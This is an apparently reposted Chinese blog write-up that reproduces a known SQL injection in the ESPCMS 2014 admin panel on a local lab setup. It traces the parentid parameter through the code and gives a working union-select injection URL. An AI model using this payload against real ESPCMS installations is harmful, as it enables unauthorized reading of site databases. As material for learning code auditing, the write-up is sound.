欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

白盒测试1

程序员文章站 2022-05-23 15:17:41
...

方法:敏感函数回溯参数
环境:php 5.多加apache及espcms 2014,用php7的exp无效,并且php7搭建这个cms数据库环境时都有很大毛病的
工具:seay代码审计系统
很久以前别人挖到的,站在巨人的肩膀上复现一下
————————————————
将文件拖进s~系统,审计出一大推可能是漏洞的代码列表
白盒测试1挑了如图所示的一个,进行定位
白盒测试1可以清楚看见sql语句和parentid变量的获得过程
定位accept函数
白盒测试1这是一个获取 给g p c的函数,我们传进的变量为parentid 和 R,代表在 p g中都可以获取parentid参数,最后经过了一个包装过的过滤函数,但是前面的sql注入语句完全是一个数字型,所以这个过滤函数基本上没啥用 ,去看oncitylist()所在的import类,并对这个类进行下搜索,发现在/adminsoft/index.php中有这段$control=new import()实例化代码,

$archive = indexget('archive', 'R');
$archive = empty($archive) ? 'adminuser' : $archive;

$action = indexget('action', 'R');
$action = empty($action) ? 'login' : $action;


if (in_array($archive, array('acmessagemain', 'adminuser', 'advertmain', 'adverttypemain', 'albummain', 'article', 'bbsmain', 'bbstypemain', 'callmain',
	   'citylist', 'connected', 'createmain', 'createseomain', 'enquirymain', 'filemain', 'filemanage', 'formmain', 'formmessmain', 'language', 'languagepack',
	   'lib_menu', 'mailinvite', 'mailsendmain', 'mailtemplatemain', 'management', 'memattmanage', 'membermain', 'memclassmanage', 'modelmanage', 'ordermain',
	   'payplug', 'payreceipt', 'powergroup', 'printtemplatemain', 'recommanage', 'seomanage', 'shipplug', 'shipreceipt', 'sitemain', 'skinmain', 'sqlmanage', 'smstemplatemain',
	   'subjectmanage', 'templatemain', 'typemanage', 'mobliemain', 'smsmain'))) {
	if (!file_exists(admin_ROOT . adminfile . "/control/$archive.php")) {
		exit('Access error!');
	}
	include admin_ROOT . adminfile . "/control/$archive.php";
	$control = new important();
	$action = 'on' . $action;
	if (method_exists($control, $action)) {
		$control->$action();
	} else {
		exit('错误');
	}

就是拼接下on与citylist拼接下达到调用oncitylist函数的作用,而且因为后面的那个if语句action也得构造citylist

http://127.0.0.1/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1%20union%20select%201,2,database(),4,5%20--+

我试过把action变量改为别的,那个if语句就会通过不了,然后报错
白盒测试1sql语句执行了